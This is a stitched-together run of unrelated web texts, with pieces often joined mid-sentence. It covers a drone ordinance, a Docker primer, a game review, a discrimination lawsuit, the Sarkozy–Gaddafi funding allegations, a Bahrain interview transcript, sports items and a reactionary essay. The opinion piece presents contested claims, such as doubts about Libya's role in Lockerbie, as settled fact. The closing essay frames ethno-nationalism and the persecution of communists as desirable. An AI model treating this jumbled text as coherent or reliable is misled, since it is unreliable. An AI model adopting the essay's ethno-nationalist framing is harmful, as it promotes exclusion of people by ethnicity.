“The ordinance allows for safe and responsible usage of drones within the city boundaries in most areas but prohibits drone usage in areas where risk to the public is greatest,” Farinella said, adding she has received many complaints in the past three years. Some have come in on 911 calls.
Drone use has exploded in the city in recent months.
Real estate agents use them to get bird’s-eye views of cliff-side homes, their interiors and the sweeping coastline. They are used by photographers during weddings on the beaches and for modeling shoots.
Filmmakers often use the drones’ panoramic views in commercials and other film footage along the beaches, cliffs and over the canyons.
The issue of drone use was brought up in a Grand Jury report in 2016, where they called for the county and each city to come up with local drone regulations by 2017.
The report found that almost all cities in the county reported having no plans to regulate drone use, either because officials saw it as a “non-issue” or because they were awaiting further state or federal legislation to solve problems of unsafe flying.
Huntington Beach, Laguna Niguel and Dana Point are working on ordinances. OC Parks also has an ordinance that applies to drones.
The Laguna Beach City Council first took up the issue March 7, following a barrage of complaints from residents to the city and police departments over drone harassment, including incidents where drones hit people, hovered near people who were undressed and disturbed animals. Farinella proposed the drone ordinance after receiving repeated complaints.
A sub-committee made up of Farinella, Boyd, three drone operators, a resident and a city attorney discussed the issue. The committee met twice and came up with the ordinance.
Joe Cockrell, a commercial pilot from Laguna, was part of the committee.
“From my perspective the legitimate commercial operators in Laguna voiced their concerns, and the City Council and Police Department listened to those concerns,” he said, following the meeting.
Resident Brad Allen told the council that drones hover near his house, which is close to Victoria Beach, daily.
“When I bought the house, it had privacy unless there was a helicopter hovering nearby,” he said. “I have an outdoor shower and drones hover close by. I’ve opened the curtains to my bedroom and there’s a drone 20 feet away. I think we are taking the right steps, I don’t know where this will go in the future.”
Drone-flying is still allowed over private property and over the ocean, but harassment of marine wildlife will not be tolerated, Farinella said.
Councilman Rob Zur Schmiede suggested the council revisit whether a person could disarm a drone that came within 20 feet of them.
“I agree; it’s self-defense,” said Councilman Steve Dicterow.
Did you know?
The Federal Aviation Administration requires that commercial operators obtain a pilot’s license and keep the drones in their sightlines. Drones are allowed to fly no higher than 400 feet off the ground during daylight hours.Docker is a lightweight container virtualization platform, a container being an isolated Linux system which runs on an single Linux host. Docker helps the user to package a system into an image which can be shipped to a Docker registry to provide it to other systems which are running the Docker client. Read on to find out about the advantages of this architecture.
There are two major benefits when using Docker or containers in general. First: less overhead compared to a full-blown hypervisor and second: a tool to package your software and dependencies into an image that runs (nearly) anywhere.
Actually, container technology is pretty old. It has been present in the solaris zones (2005, v1.0), can be found in cgroups (2007, initial release), LXC (2013, v1.0) and now Docker (2014, v1.0). I would bet that the container roots are even deeper and older. Still, Docker made it easy for everyone to build and run their own containers. With the container hype in 2014 even big companies jumped on the bandwagon and built solutions to integrate containers or even built “new” operating systems with the aim to run containers in an optimal way.
Why should I care?
Docker simplifies many use cases by shipping your software complete with its dependencies. In a world without containers your user’d need to install environments like jre for Java and all its libraries. Now with containers developers can package the jre and libraries – to run their software the user only needs to pull the image and run the container. Another big benefit is testing: Think of slow virtual machines where a developer has to wait 5 minutes for them to boot. Now with containers developers get access to their environment in just a few seconds to run tests – or even automate them to speed up (and facilitate) the process. And these are just some examples of use cases improved by containers.
Docker components
The two major components of Docker are Docker itself and the Docker Hub which provides a service for sharing and managing Docker images. Docker uses a client-server architecture. The Docker daemon acts as a server and supports the creation, lifecycle and distribution of Docker containers. The Docker client talks to the daemon through sockets or a RESTful API. You can run booth on your local machine or you can connect to a remote Docker daemon. While testing Docker however you will probably run the daemon and the client on your local machine for convenience.
Docker image
Docker images are read-only templates which contain information about the container, e.g. which OSand which applications should be installed etc. You can download existing images like Ubuntu or create your own. It is even possible to pack your local configuration files into the image and distribute them – just don’t forget to delete your private data and passwords 🙂
Docker registry
A Docker registry manages your Docker images, it stores and distributes them centrally. You can use the public Docker registry Docker Hub or you can run your own private registry. If you use the public registry you have access to a huge collection of existing images.
Docker container
A Docker container provides the complete application runtime environment. Every container is created from a Docker image. A container can have different states like running, started, stopped, moved and deleted. Each container is an isolated application instance. The level of isolation (and thus security) highly depends on the underlying technology (i.e. libcontainer). In the figure below you can see how containers reduce the overhead needed to run a virtualized application.
Benefits
Rapid application development: Containers minimize the overhead to deploy an application by providing the minimal runtime requirements only.
Containers minimize the overhead to deploy an application by providing the minimal runtime requirements only. Portability: An application and all its dependencies are bundled into a single container which can be shipped around. The container is independent from the host version of the Linux kernel, host Linux distribution and deployment model. A container can be shipped to any machine which runs Docker and be executed without any compatibility issues.
An application and all its dependencies are bundled into a single container which can be shipped around. The container is independent from the host version of the Linux kernel, host Linux distribution and deployment model. A container can be shipped to any machine which runs Docker and be executed without any compatibility issues. Version control and component reuse: Docker provides a version control system which allows you to inspect differences between versions and roll-back to a previous version. Containers can reuse components which makes them more lightweight.
Docker provides a version control system which allows you to inspect differences between versions and roll-back to a previous version. Containers can reuse components which makes them more lightweight. Sharing: You can share your Docker images via a public repository or using your own.
You can share your Docker images via a public repository or using your own. Lightweight: Regular Docker images are quite small to provide rapid delivery and to reduce the time needed to deploy new application containers. A Docker container spins up in a few seconds, only a fraction of the time required to boot a VM.
Regular Docker images are quite small to provide rapid delivery and to reduce the time needed to deploy new application containers. A Docker container spins up in a few seconds, only a fraction of the time required to boot a VM. And many more
Use Cases
Continuous Deployment: You can create a continuous deployment pipeline which pushes a Docker image to your Docker registry and which in turn updates all your running services easily to the new version.
You can create a continuous deployment pipeline which pushes a Docker image to your Docker registry and which in turn updates all your running services easily to the new version. Scalable applications: With Docker it’s easier and faster to scale your applications, as scaling means to add new instances to your application. Of course the software inside your container needs to support horizontal scaling, for example by implementing microservice architecture.
With Docker it’s easier and faster to scale your applications, as scaling means to add new instances to your application. Of course the software inside your container needs to support horizontal scaling, for example by implementing microservice architecture. Testing: Working with Docker you can setup a fast and easy to use test environment for your developers where they can run their tests. No need to start virtual machines or even ask the operations team to push the software to the testing environment.
Getting started
The first step to getting started with Docker is obviously to install Docker. Find your OS in the installation section of the Docker documentation and have fun!
We’re hiring!
Looking for a change? We’re DevOps Engineers experienced with NodeJS, Git, Jenkins Puppet and of course Docker. Apply now!
Dockerize your project
If you want to get started implementing a Docker-based architecture in your project have a look at our website, drop us an email or call +49 721 619 021-0.
We offer consulting and solutions tailored to your needs. For more information on Docker we invite you to join our Meetup-group in Karlsruhe, where we organize events, talks and get-togethers. For a comparison of operating systems that support Docker read our dedicated article.35User Rating: 3 out of 5
Review title of Masonimal I love it but..
PROS Unique gameplay Interesting concept Challenging Fun when you get going CONS Pacing issues when you have any auras up Units get trapped behind the walls when you spread out Cannon firing towers gets tedious, I would have preferred a way to select a tower and see a halo around it and place within the firing zone No way to determine which barracks actually spawns units Having a firing timer on stationary auto turrets seems to outweigh their usefulness UI can be difficult to navigate Firing is a lot of guess work so you cant actually gauge where anything will land Cant create wall cross sections No wall attachment to allow units to cross over them It's definitely fun and with time and a couple patches later this game could become more fun but at the time of writing I would say waitWe are celebrating 50 years of progress in civil rights....good people of Birmingham would not approve of mistreating a person because of their race.
BIRMINGHAM, Alabama -- The Birmingham city accountant fired twice on allegations of racism and incompetence today slapped the city with a federal lawsuit saying it was Mayor William Bell's administration that was the true perpetrator of racial discrimination.
Virginia Spidle's federal lawsuit alleges that the city has a pattern of discrimination and retaliation against white employees.
Much of the 49-page lawsuit recounts the testimony heard in days of hearings at the Jefferson County Personnel Board, where Spidle was ultimately cleared of her initial firing charge.
"We are celebrating 50 years of progress in civil rights. In the year we are celebrating that, good people of Birmingham would not approve of mistreating a person because of their race," Spidle's lawyer, Gayle Gear told al.com/The Birmingham News in an interview. "The foot soldiers - those who have worked diligently on behalf of race relations for this city - what happened in 2010, 2011 and 2012 is not a step forward in race relations. It is a step backwards. And that is why the lawsuit had to be filed."
Spidle is seeking a jury trial where she will ask for compensatory damages, additional back pay and related economic losses.
"The city instigated and condoned a race-based hostile work environment in the city's finance department," the lawsuit reads. "The discriminatory animus was severe and pervasive altering the terms and conditions of employment."
Efforts to reach Birmingham city attorneys for comment were unsuccessful this afternoon. City lawyers usually cite a standing policy of not commenting about ongoing litigation.
The city's protracted legal fight with Spidle began in July 2010, when the 24-year employee was fired after accusations of racial discrimination against black subordinates. Spidle is white.
She returned to work after the Jefferson County Personnel Board, after days of hearings, cleared her of those charges and ordered her reinstated with back pay. But Spidle's return was short-lived when the city fired her again in January 2012 -- after one week back on the job -- on new charges of incompetence.
In a separate proceeding in Jefferson County Circuit Court, a three-judge panel also ordered Spidle back to work, clearing her of the original charges and ordering that she receive back pay from the time of her first termination.
The city last month sent a letter telling her to return to work, just before the beginning of another hearing before the Jefferson County Personnel Board was set to begin. Spidle is back at City Hall, but in a different department.
Spidle's newly filed lawsuit claims her firings were retaliation for her participation in an earlier complaint filed by a white employee who complained of mistreatment based on her race.
"The city also ignored the Personnel Board's factual findings that exonerated plaintiff of all charges including the scurrilous charge of racism instigated by (Jarvis) Patton weeks after his appointment as Chief of Operations," the lawsuit states. "The actions of the city were the result of intentional race discrimination and retaliation..."
Spidle has also previously guessed that her firing was in retaliation for questioning the validity of numbers related to Bell's declaration of a looming $77 million deficit shortly after he took office.
Spidle's lawsuit comes after she filed a complaint with the federal Equal Employment Opportunity Commission in Feb. 2012 against the city.
"Despite protestations by plaintiff and other Caucasian employees, a racially charged hostile work environment was instigated, encouraged and condoned by top city officials, specifically Mayor Bell and Chief of Operations, Jarvis Patton," the lawsuit states.
Spidle claims the entire process that resulted in her termination was biased and part of a culture of hostility toward a white minority in her department at City Hall.
"During the period that plaintiff was being subjected to race-based discrimination, other supervisors, who are Caucasian, were reporting similar discriminatory treatment altering the terms and conditions of their employment."
The lawsuit lists several examples of alleged mistreatment of white employees in the finance department.
While a majority of employees in the department are black, the office is headed by Tom Barnett, who is white. However the lawsuit focuses on Patton, who is black and Bell's most senior aide.
Spidle in her lawsuit cites the number of black employees who were promoted under her supervision as well as her clean employment history.
But that record was not taken into consideration by Patton when he led the effort to fire her, the lawsuit claims.
Spidle claims that the city's declaration of racism and subsequent termination made it impossible for the longtime municipal worker to get a comparable job.
"She had taken personal pride in treating people fairly without regard to race," Gear writes in the lawsuit. "This allegation was demeaning and the violation of federal law caused embarrassment and humiliation."
Though she is now back at work, Gear said her client has been given minor duties in another department well below her job classification.
"Such constructive termination impacts her ability to advance and jeapordizes her job security in the merit system," the lawsuit claims.
In addition, Spidle claims her termination wreaked havoc on her personal finances, causing her to liquidate her deferred compensation fund and become totally dependent on the assistance of family.French President Nicolas Sarkozy has today been accused of accepting a €50 million donation from Libya’s former leader, Colonel Gaddafi. The allegations, made by French investigative website Mediapart, date back to Sarkozy’s election campaign in 2007. Mediapart claims to have seen leaked documents from a legal dossier currently under investigation by a judge, and journalist Fabrice Arfi has told The Guardian that:
We knew these documents existed but it is the first time we have had the details of what was in them…and there are lots of details, including dates, places and amounts.
It is not the first time such allegations have been made. Gaddafi’s son Saif al-Islam made similar claims last year, shortly before NATO’s illegitimate bombardment of Libya.
One document allegedly suggests Sarkozy and his advisers made visits to Libya in order to secure campaign funding from Gaddafi.
We funded it. We have all the details and are ready to reveal everything. The first thing we want this clown to do is to give the money back to the Libyan people. He was given the assistance so he could help them, but he has disappointed us. Give us back our money.
A close relationship with Gaddafi was also suggested when the Libyan leader visited Paris in December 2007, and was allowed to pitch his Bedouin tent in the grounds of a mansion near to the Elysée Palace.
Sarkozy was not, of course, the only Western leader with whom Gaddafi had close relations. In November 2008 George Bush reportedly called Gaddafi to thank him for paying $1.5 billion in reparations to compensate for alleged Libyan acts of terrorism — including the 1988 PanAm Lockerbie bombing, an attack probably not committed by Abdelbasset al-Megrahi and which some claim Libya had no role in at all.
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Tony Blair was also close to Gaddafi, visiting him in Libya several times both during and after his time as British Prime Minister. The two met at the infamous “deal in the desert” in 2004, when Gaddafi agreed to stop pursuing WMDs and join the “war on terror”, again in 2007, and again a reported six times after Blair stepped down as Labour leader. Blair even reportedly traveled to Libya in Gaddafi’s private jet.
The Gaddafis and Blair were seemingly on such good terms that Saif even referred to him as a “good friend” shortly before last year’s NATO attack on Libya, when he asked Blair to personally intervene and help prevent armed insurgents launching an attempted overthrow of the Libyan government. Blair remained noticeably silent about his connections to the Gaddafis throughout last year’s war, and has remained equally quiet since the Colonel’s brutal ousting.
The latest allegations about Sarkozy again demonstrate the lying, manipulative, and two-faced nature of our elected leaders, where former allegiances are quickly forgotten when new opportunities to increase wealth and power are presented. Western leaders condemned their former ally Gaddafi for mobilizing forces against armed Islamist insurgents operating in his own country, so that they could use the purported threat as an excuse to militarily intervene, topple the regime, and then move in to secure lucrative reconstruction contracts and oil deals.
We now see a similar agenda being played out in Syria. The West is pushing to topple the defiantly pro-Iranian Syrian government by distorting the reality of events on the ground, where armed extremists responsible for terrorist bombings — in other words, Al Qaeda — make up part of the Syrian opposition.
Assad visited Paris for friendly talks with Sarkozy as recently as December 2010, when the Syrian president was greeted by an official reception ceremony at the Elysée Palace. Assad, Sarkozy and their wives even posed for photographs together at lunch in the Palace, and as former French foreign minister Bernard Kouchner recounted:This is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: The brutal crackdown on pro-democracy protesters is continuing in the Gulf state of Bahrain. Last month, the tiny island Gulf nation that hosts the U.S. Navy’s 5th Fleet imposed martial law in an attempt to crush the uprising there.
According to Human Rights Watch, more than two dozen Bahraini security personnel stormed prominent defense lawyer Mohammed Tajer’s home on Friday night and detained him. Tajer had defended opposition figures and rights activists arrested during recent protests.
Hundreds of demonstrators, political figures, human rights activists and Shiite professionals have been detained in security sweeps since the Bahraini authorities crushed the pro-democracy movement in mid-March. Bahrain imposed martial law in the country March 15th. The United States has continued to back the regime despite repeated appeals from protesters.
Last Tuesday, we spoke to Zainab Alkhawaja, daughter of the detained human rights activist Abdulhadi Alkhawaja.
ZAINAB ALKHAWAJA: My message to Obama is basically that he has to choose. He has to choose if his administration is really with human rights, democracy and freedom, as he claimed, and with change towards democracy, or is he more concerned about supporting his friends who are dictators in the Middle East?
AMY GOODMAN: Zainab’s father, husband and brother-in-law were detained last Saturday following a late night raid on their house. Zainab started a hunger strike in protest. Today is the eighth day of her fast, which she vows to continue 'til her family members are released. She was hospitalized briefly yesterday. She's very weak. She’s joining us on the phone from Bahrain, along with her sister Batool. In the studio, we’re joined by Faraz Sanei, Human Rights Watch Bahrain and Iran researcher, who just returned after six weeks in Bahrain.
Zainab, let’s go to you first. How are you feeling? This is the eighth day of your strike. You also have a one-year-old baby.
ZAINAB ALKHAWAJA: I’m feeling very weak. I have a very hard time even sitting up. I spend most of my day lying down. But on the most part, I still have faith that I will soon see my family members who are detained.
AMY GOODMAN: We spoke to you last week when you described your father being dragged out of your house, the blood on the stairs, when you were forced back into the house, as you were protesting his being taken. Have you gotten any word from him?
ZAINAB ALKHAWAJA: We haven’t gotten any word whatsoever, not at all. We haven’t gotten any response. No phone calls. We don’t even know where they’re being held.
AMY GOODMAN: How long are you willing to be on this strike, if you are already very weak after eight days?
ZAINAB ALKHAWAJA: As I said from the beginning, that I will continue the strike until the release of my father, my uncle, my husband and my brother-in-law.
AMY GOODMAN: Have you been in contact with any other government leaders? Bahraini government leaders, the U.S. — the Fifth Naval Fleet is there — anyone?
ZAINAB ALKHAWAJA: Nobody at all. As always, the Bahraini government and the U.S. administration are proving to us, once again, that they do not care about the Bahraini people and what we’re going through. And all they care about is what they think is their own interests.
AMY GOODMAN: When they were dragging your father out of the house, did they say why they were taking him?
ZAINAB ALKHAWAJA: They did not give any reasons at all. They did not have any arrest warrant. All they were doing was cursing and beating and threatening my father and saying they were going to kill him.
AMY GOODMAN: Was he responding to them? Was he speaking?
ZAINAB ALKHAWAJA: The only thing my father said, from the moment that he saw them and they started beating him until they took him away unconscious, was that he couldn’t breathe. He never said one other word, and he never raised his hand.
AMY GOODMAN: Your father was head of the Human Rights Association of Bahrain?
ZAINAB ALKHAWAJA: My father was head of the Bahrain Center for Human Rights. And the past two years, he’s been working with the Front Line Defenders based in Ireland.
AMY GOODMAN: At the same time that they took your father, they took your husband, as well?
ZAINAB ALKHAWAJA: Yeah, my husband and my brother-in-law, as well.
AMY GOODMAN: Why did they take your husband?
ZAINAB ALKHAWAJA: They took them because they were in the same place as my father. They did not know who they were. As they beat them, they asked them for their identification and their names. But beforehand, they did not know who they were. And afterwards, they decided to take them, as well.
AMY GOODMAN: And your uncle was taken before that?
ZAINAB ALKHAWAJA: My uncle was taken about three weeks before they arrested my father and husband and brother-in-law.
AMY GOODMAN: Was he also a human rights activist?
ZAINAB ALKHAWAJA: Maybe not a human rights activist. He was just — he would speak up his mind, and he would write messages to people he knew and ask them to stand up for justice and against what the regime was doing in Bahrain.
AMY GOODMAN: Now, your aunt has been called — is that right? — to bring clothes for your uncle, so at least there’s some thought that he is still alive.
ZAINAB ALKHAWAJA: Yes, all they — all they asked was for some clothes, but we never — she was not allowed to speak to him, and she was not allowed to see him. And that’s also very worrying, because sometimes they would let detainees talk to their family members, and he wasn’t even allowed to talk to his wife. And when she asked to see him, they did not let her see him. So, on the one hand, we were happy that this might mean that he’s alive, but on the other hand, how badly tortured is he that they don’t want anyone to even lay eyes on him or speak to him on the phone?
AMY GOODMAN: Batool, your fiancé was also taken with Zainab’s husband and with your father. Have you heard from him at all? I think we just lost Batool. Zainab, are you still there? We just lost both of them. Zainab, are you still there?
BATOOL ALKHAWAJA: I’m Batool. I’m here.
AMY GOODMAN: This is Batool?
BATOOL ALKHAWAJA: Yes.
AMY GOODMAN: Batool, your fiancé was also taken that night, along with your father and Zainab’s husband?
BATOOL ALKHAWAJA: Yes, he was.
AMY GOODMAN: Was he a human rights activist?
BATOOL ALKHAWAJA: No, actually, he’s still a student in university. He’s an engineering student.
AMY GOODMAN: And why is — what is your sense of why he was taken? And have you heard anything from him since?
BATOOL ALKHAWAJA: Well, from what I saw, the only reason he was taken was that he was unfortunate enough to be in the building when they came for my father. And we didn’t get any news from him. His father even went to police stations to ask about him. And the only response he would get was that they didn’t have him and they didn’t know where he was. So, it’s been eight days now, and we have no clue where he is or anything about him.
AMY GOODMAN: Are you concerned about Zainab, your sister’s health, in this eighth day of a hunger strike?
BATOOL ALKHAWAJA: Yes, definitely, because, actually, I just graduated nursing school, so I’ve been monitoring her blood pressure and her blood sugar, and they’re both borderline. And her pulse is usually very weak. And she also has a rapid heartbeat. So, of course, I’m worried about her. But at the same time, I know why she’s doing this, and I respect her for it.
AMY GOODMAN: You are 21. Your sister Zainab, she is 26?
BATOOL ALKHAWAJA: Twenty-seven, yes.
AMY GOODMAN: Twenty-seven.
BATOOL ALKHAWAJA: Yes.
AMY GOODMAN: Has this gotten any attention in Bahrain?
BATOOL ALKHAWAJA: Yeah, definitely. From the people, yes, because here everyone is very close-knit, so we’ve gotten a lot of calls from people showing their support. But when it comes to the government, we have gotten no response whatsoever. Nothing.
AMY GOODMAN: I’m hoping we could also get Zainab back on the phone to talk about her demands. But while we try to reach her, Faraz Sanei is also with us, Human Rights Watch researcher in Bahrain — he’s just returned from — also does his research in Iran. Can you talk about the overall situation in Bahrain right now?
FARAZ SANEI: Thank you for having me, Amy.
The situation in Bahrain is as bad as it has been for a very long time. What we’re seeing in Bahrain today is a full-scale crackdown on any sort of dissent in the country. As, you know, you’ve just spoken to the Alkhawaja family, you have more than 500 people who have been arrested and detained since March the 15th. You have full-scale security sweeps on Shia villages, both in the capital and outside the capital, throughout the country. You have massive dismissals; hundreds of individuals, perhaps more than a thousand, have been dismissed from their jobs, many of them state enterprise jobs, during the past month, month and a half.
I mean, this has gone well beyond trying to reestablish security, which is the main message that the Bahraini government has been sending to the international community, that “we are trying to reestablish security,” that there was chaos for the month, month and a half or so, that Bahrain was experiencing protests. This has gone well beyond that. They are now — this is a retribution campaign. Everyone who was associated with the protests, who spoke out when journalists were there, who spoke to international media, and who aired their grievances against the al-Khalifa family is now being targeted.
AMY GOODMAN: The power of the United States here, and the difference between what the U.S. is doing and what European countries are doing in Bahrain? We hear very little about Bahrain, and yet this is a crucial interest area of the United States, with the Navy Fifth Fleet there.
FARAZ SANEI: Absolutely. I mean, we at Human Rights Watch — and I know other human rights organizations who we’ve worked closely with for the past month, two months or so — have been extremely disappointed. The response from the U.S. government, there have been very, very few public statements. We believe that the public statements that they have issued have been wholly inadequate, given what is actually happening on the ground in Bahrain today.
And you mentioned the European Union. The European Union has been a little better, but there have been very disappointing statements that have come out of High Representative Ashton’s office, as well. And I actually spent about a week or so traveling throughout Europe, about two weeks ago, meeting with European Parliament members, meeting with the E.U. Council, going to Paris, meeting with French officials to try to essentially push them to come out with more public statements on what is happening there and also to seriously consider breaking off any sort of military and security ties with the government of Bahrain.
AMY GOODMAN: The Guardian writes a piece contrasting the Europe — Europe’s response and the United States, talking about in a meeting with the Bahraini interior minister, the British ambassador, Jamie Bowden, raised concerns over the deaths of four dissident prisoners in the last week. Catherine Ashton, the E.U., the European Union’s high representative for foreign affairs, speaking through a spokesman also called on the Bahrain regime to immediately release all those who have been detained for peacefully expressing themselves. Ashton announced she’s visiting Bahrain next week. And yet, you contrast that with the minimal censure from the United States.
FARAZ SANEI: That’s right. I mean, you know, we — you know, all human rights organizations understand that, you know, the relationship that the United States has with Bahrain, the relationship that the United States has with with Saudi Arabia is very sensitive. But as a human rights advocate, we just cannot understand why the United States has been so silent. I mean, there have been, as I mentioned before, two or three statements that they’ve come out with.
But what we are seeing today in Bahrain is extremely troubling. We have around 30 individuals who have been killed, some in detention, some in custody; as I mentioned, hundreds of individuals in nighttime raids, including Mr. Alkhawaja, who was taken away. You mentioned Mohammed al-Tajer. He’s the first lawyer, we believe, in more than a decade to have been arrested in Bahrain. And every time we think that there’s a red line that the government is not going to cross, we witness that they cross it. And we are now seeing an absolute slide into a police state and dictatorship in Bahrain, and yet we see really no adequate response from the U.S. administration as to what’s going on.
AMY GOODMAN: And the role of another U.S. ally, Saudi Arabia, in the crackdown?
FARAZ SANEI: Absolutely. The Saudis — you know, there’s so much talk about the Iranians being involved in what’s happening in Bahrain. Everyone is fearful of, you know, calling out the Bahraini government for what’s actually happening. But what are the troops that are actually on the ground in Bahrain? GCC troops, it’s Saudi troops, it’s UAE troops, that are on the ground in Bahrain, not Iranian troops. And they are playing a key role in what is going on there, and yet we again see absolutely no public statement against the Saudi government. Now there’s a $60 billion arms agreement, essentially, that we believe is going to be agreed to in the next several weeks, if not several months, between the U.S. and the Saudis. And all of this is going on in Bahrain. It’s absolutely unbelievable.
AMY GOODMAN: And the U.S. just recently sealed the biggest arms deal in U.S. history with Saudi Arabia.
FARAZ SANEI: That’s right, exactly.
AMY GOODMAN: $60 billion worth of weapons.
FARAZ SANEI: That’s right. That’s right.
AMY GOODMAN: What about the trial that Bahrain has just announced for seven activists, military trials?
FARAZ SANEI: That’s right. Right now, Bahrain is under martial law. And what we see is that some individuals who have been arrested since March the 17th have gone in front of the public prosecutor. And often, the public prosecutor is a military public prosecutor. And essentially, the Bahraini government’s position is that we are under martial law, and they will be tried by the military, which of course is extremely troubling both to lawyers inside Bahrain and also to human rights activists, because we don’t have the ability to monitor these trials, as far as we know. There’s not going to be international monitoring of the trials. And as you know, military trials often are much more worrying, and the rights that detainees have are much less.
AMY GOODMAN: And what happened to Mohammed al-Tajer, the human rights attorney representing some of these human rights activists?
FARAZ SANEI: He is in detention at the moment. We don’t have any word as to where he’s being detained. He was detained during a nighttime raid. This has essentially been the way that the Bahraini government has gone after individuals who it’s targeted. They have gone after them at 11:00, 12:00, 1:00, 2:00 in the morning, when they are often asleep with their families. And masked men, sometimes in uniform and sometimes in plainclothes, rush in and take these individuals away.
AMY GOODMAN: Let’s see if we’ve gotten Zainab back on the phone. Zainab, your final comment on your demands right now, as you are in the eighth day of your hunger fast?
ZAINAB ALKHAWAJA: Well, my demand is, one, the release of my family, but of course I can’t only think of my family members when there are so many Bahrainis going through what I’m going through and much worse than what I’m going through. It’s about time that the world realizes what’s happening in my country and takes a stand against what our government and what the U.S. administration are doing and hold them responsible for the crimes that are happening here.
AMY GOODMAN: Well, I want to thank you for being with us. We will keep in touch with you, Zainab Alkhawaja. Her father, her husband, her brother-in-law, her uncle: all imprisoned right now. Batool, thank you, as well, her younger sister. Thank you, as well, to Faraz Sanei, who is the Human Rights Watch researcher in Bahrain. He has just returned from there.Ex Red Luis Garcia praises Coutinho
The former No.10 player has admitted that he sees many similarities in Coutinho to his own style of play, and feels that the youngster is now benefitting from starting regular games and settling down to life in England
He told Sky Sports, “There’s a few differences, too, but yeah, I think so. A lot of people are just looking at the No.10 on his shirt and how tall we are!
“But there’s some things we both like to do, such as his dribbling skills.
Brazil has a long history of producing excellent technical players in the advanced midfield role and it seems Coutinho is no exception. He has found his rhythm and seems to be linking up well with his teammates. He also has the knack of getting into the right position when needed – highlighted by his superbly taken winner against Manchester City at the weekend.
Garcia was equally impressed by the cool finish, stating, “He scored a brilliant goal (against Man City). I think he’s been very good. People were maybe having doubts, because of the kind of player he is, but he’s got the confidence of the manager now.”
He added: “Playing more regularly means he can show the type of player he is, and he’s still only 21.
“He has a lot of quality, and knows how to keep the ball, look for the space and to give the accurate pass. Also he’s scoring goals, so what more can you expect from a player like that?”
Only time will tell if Coutinho can surpass Garcia’s career achievements, but |
.
There’s a storm a-brewin’ and it seems to be headed our way, with a mix of snow, rain and wind in the long-term forecast.
“There will be some precipitation,’’ National Weather Service meteorologist Alan Dunham told the Boston Globe on Friday morning. “There will be some snow and some rain and some wind. We just don’t know how much yet.’’
According to the latest forecast on weather.com, there is a 60 percent chance of precipitation in the Foxborough area on Sunday night. That should come as good news to the Patriots, who have won 11 straight games with snow falling (includes 3 playoff games, dating back to 2001).
“Honestly, I didn’t even know that,” Patriots coach Bill Belichick said earlier this week when informed of his team’s record in the snow. “That’s great. We’ll get the snow-making machines out there; start firing it up. I wasn’t even aware of it. Those aren’t the kind of records I keep track of.
“Look, our team has to be ready to play in whatever the elements are every week. They practice in them. They play in them. They’re the ones that are out there trying to throw, catch, kick in those conditions, tackle, block, whatever it is. We’ve got some good football players. Those guys prepare for not only the opponent they have to play, but also the conditions they have to play in, whether it’s 90 degrees against Cincinnati or zero against Chicago. That’s their job and they do a good job of it. They’re the ones that deserve the credit. They’re out there playing.”
They’re not just playing in the snow, they’re thriving in it: The Patriots have outscored their opponents 109-0 in first half of their last three snow games. 109-0.
“[The Packers] play in some bad weather also," Vince Wilfork said Friday. "Once again, in December, you get football weather, especially up in the northern part of the states. Green Bay is no stranger to bad weather. But we don’t play the weather, we play the Green Bay Packers and I’m pretty sure they’re saying the same thing. We’ve got our hands full, but it’s December, and you have to find a way to win. We have to continue that this week.”
We’ll keep you up to date on the Sunday night forecast throughout the weekend.
Update (4:52 p.m.): The latest forecast now predicts the storm will take a more eastern course and miss southern New England for the most part.The slippery slope is an often derided phrase in the modern vernacular. It is commonly asserted as a fallacy though even La Wik will admit that there is nothing inherent to the concept that is fallacious. The unpopularity of the argument probably has more to do with who tends to make it than what is being said. After all one of the most pervasive explanations of why we can’t have nice things ( ethno-nationalism, persecution of communists etc.) in the West is if we do this one thing it will lead to Nazis. As per the usual inherent dishonesty of the Cathedral, the slippery slope metaphor is never invalid for the things they want to push. The slippery slope argument is fundamentally a conservative one. It is an argument made on when a party is attempting to preserve the status quo. The left often uses it to preserve the status quo of the anti-nationalism, while the right often utilizes it in attempts to prevent further popularizing of various perversions. Once something has become canon in a nation’s civil religion making the slippery slope argument about it is no longer even considered. To make an argument that social security is a slippery slope would be absurd. That doesn’t mean it isn’t true, but that anything uphill of the present state of society is reactionary. The chain of the events of a slippery slope argument is almost always prefaced from the present state. It is therefore in practice conservative.
When beginning a slippery slope argument we must first establish a slope exists, and just as important which way it faces. If you establish that a slope exists but the idea you are arguing against is uphill there is less danger of implementing that idea. To estimate the grade of the slope we need to compare the present to some historical standard. This being the wheelhouse of the reactionary it is quite a tall order. If the past is out of the question, if it is singularly denounced and dismissed then we can only compare our counterfactual narratives. When comparing counterfactual narratives, the party with the strong horse narrative wins. The current strong horse narrative is that anything is possible; there are no slopes except for those nasty ones at the edge of the Overton Window. The liberal conception of the world (at least in terms of the slippery slope topography) is much like that of the flat earth. It is a large flat plane with a few interesting hills but mostly just flat. Around the edges water falls steeply into the Nazi abyss. As long as we stay far away from the edges of the earth (all edges are right wing) we will be fine. Some may even admit that one of the corners of the earth is Stalinist, but the other three are definitely Nazis, or at least crypto Nazis. The solution to this dilemma is not to shy from history or to argue our Utopian visions, but embrace history and accept the flak that may come. Firstly we must ascertain what the corresponding arrangement was in the past, and then via comparison render judgment whether the present (or intended) state is more orderly or not. This requires a certain amount of imagination or perhaps cognitive flexibility which would be a tall order for most of the world. What if, in following this line of logic, we were to determine that one of our pet systems or projects were downhill of our past? What would that mean for society? Would we really have to repeal our goals to turn back the clock? Or worse would we accept our decline and live with it, knowing that it will slowly make things less complex, more primitive, more barbaric? What does it look like to slowly disassemble a civilization on principle, knowing we are suffering just for “doing the right thing”? Is order really that cruel? I suspect many would rather throw up their hands and pretend everything will work out. Let’s avoid that, and try to understand the slippery slope from a conservative perspective, as in one who conserves.
Like many conservative arguments the slippery slope draws from an ephemeral feeling, something that conservatives cannot fully comprehend or explain. These arguments draw on the remnants of ideas that would have been common sense a century ago but have been all but lost in time. In order to rehabilitate this argument we must unearth those ephemeral elements that resonate with the conservative mind. The slippery slope can be broken down in a few elements:
unintended consequences
unknown unknowns
unknown knowns
teleo-functionalism
fragility
social order.
It is with great regret that we must even defend the concept of social order. Social order is often that thing that a conservative can point out but they can’t explain. Often times, social order is not even described with the words “social order” instead it is described by euphemisms: healthy, prosperous, safe etc. these words circumscribe what conservatives cannot (or will not) fully describe. Despite the eudemonia many liberals enjoy (often on the backs of conservatives) they still deny that there is such a thing as social order. They tend to prefer a limited cultural relativity. As such I hope to both describe and rehabilitate the concept of social order, precisely because establishing what is uphill or downhill on societies slope is dependent on what is social order and social chaos.
